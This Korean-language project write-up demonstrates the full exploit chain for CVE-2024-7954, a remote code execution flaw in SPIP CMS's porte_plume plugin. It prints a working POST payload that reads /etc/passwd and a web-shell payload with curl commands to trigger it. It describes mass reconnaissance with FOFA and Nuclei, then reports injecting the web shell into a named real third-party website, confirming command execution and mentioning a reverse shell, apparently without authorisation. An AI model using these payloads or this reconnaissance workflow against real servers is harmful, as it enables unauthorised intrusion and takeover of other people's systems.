
원격 코드 실행 취약점 악용 - (CVE-2024-7954)
소프트웨어 취약점 테스트 프로젝트 제출자: Shivansh Kuntal
이 프로젝트는 SPIP CMS의 porte_plume 플러그인을 통해 영향을 미치는 치명적인 원격 코드 실행(RCE) 취약점인 CVE-2024-7954의 악용을 시연합니다.
이 취약점은 인증되지 않은 공격자가 조작된 HTTP POST 요청을 통해 대상 서버에서 임의의 PHP 코드를 실행할 수 있게 합니다.
테스트는 통제된 로컬 환경에서 수행되었으며, 이후 FOFA와 Nuclei를 사용한 실제 환경 정찰로 확장되었습니다.
CVE-2024-7954의 영향을 받는 것으로 확인된 SPIP CMS의 취약한 버전이, 알려진 취약 버전을 호스팅하는 GitHub 저장소를 사용하여 로컬 Apache 서버에 배포되었습니다.
사용된 도구
localhost에서 실행되는 SPIP 홈페이지는 설치 성공을 검증했으며 악용 대상으로 사용되었습니다.
porte_plume 플러그인(4.30-alpha2, 4.2.13, 4.1.16 이전 버전)은 사용자 제공 입력값의 검증(샌니타이징) 부족으로 인해 취약합니다. 공격자는 특정 양식 필드에 PHP 코드를 주입할 수 있으며, 이 코드는 이후 서버에서 렌더링되고 실행됩니다.
영향: 인증되지 않은 원격 코드 실행 심각도: 치명적(Critical) 공격 경로: 네트워크 / HTTP POST
POST /index.php?action=porte_plume_previsu HTTP/1.1
Host: {{hostname}}
Content-Type: application/x-www-form-urlencoded
data=AA_[<img111111>->URL`<?php system('cat /etc/passwd'); ?>`]_BB
FOFA 쿼리를 사용하여 공개된 SPIP 설치를 열거했습니다:
app="SPIP"
FOFA는 여러 메타데이터 포인트를 반환했습니다:
targets.txt로 내보내기.식별된 적합한 실제 호스트:
http://www.comite-tricolore.org/
수동 악용은 느리기 때문에, 대규모 대상 집합에서 CVE-2024-7954 탐지를 자동화하기 위해 Nuclei가 사용되었습니다.
nuclei -l targets.txt -t CVE-2024-7954.yaml
-l targets.txt는 FOFA 결과를 로드합니다-t는 사용자 정의 PoC 템플릿을 로드합니다참고: 초기 템플릿은 일치 항목이 없음을 반환했습니다.
nuclei -l targets.txt -t cves/
이 스캔은 응답하는 하나의 대상을 식별했습니다:
http://www.comite-tricolore.org/
방문:
http://www.comite-tricolore.org/spip.php?page=contact
확인된 사항:
Burp Suite 또는 curl을 사용하여 message 매개변수를 수정합니다:
페이로드
<?php system($_GET['cmd']); ?>
방문:
http://www.comite-tricolore.org/spip.php?page=contact&cmd=id
또는 curl 사용:
curl "http://www.comite-tricolore.org/spip.php?page=contact&cmd=id"
출력 결과 원격 명령 실행이 확인되었습니다.
조작된 페이로드는 리버스 셸 콜백을 활성화하여 다음을 가능하게 합니다:
whoamils이 프로젝트는 정찰부터 대화형 셸 획득까지 CVE-2024-7954의 전체 악용 체인을 시연합니다.
이 취약점은 겉보기에 무해한 텍스트 포맷팅 플러그인이 제대로 보안되지 않을 때 완전한 시스템 장악을 초래할 수 있음을 보여줍니다.